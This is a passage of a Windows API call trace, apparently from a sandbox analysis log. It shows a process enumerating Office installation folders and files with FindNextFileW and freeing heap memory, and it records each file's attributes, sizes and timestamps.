	[0163.114] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1
	[0163.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.114] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0163.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.114] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0163.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.114] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0163.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.114] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0163.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.115] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0163.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.115] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1
	[0163.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.115] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1
	[0163.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.115] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0163.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.115] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1
	[0163.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.115] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1
	[0163.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.116] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0163.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.116] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0163.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.116] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0163.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.116] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0163.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.116] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0163.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.117] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1
	[0163.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.117] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1
	[0163.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.117] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0163.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.117] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0163.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.117] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1
	[0163.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.117] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0163.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.118] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0163.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.118] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0163.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.118] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0163.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.118] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0163.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.118] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0163.118] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0163.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.119] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1
	[0163.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.123] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1
	[0163.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.126] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1
	[0163.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.367] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1
	[0163.553] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.559] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0163.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0163.570] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0163.572] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.572] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1
	[0163.578] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.579] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1
	[0163.594] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.594] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1
	[0163.603] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.603] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0163.603] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.603] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1
	[0163.604] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.604] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
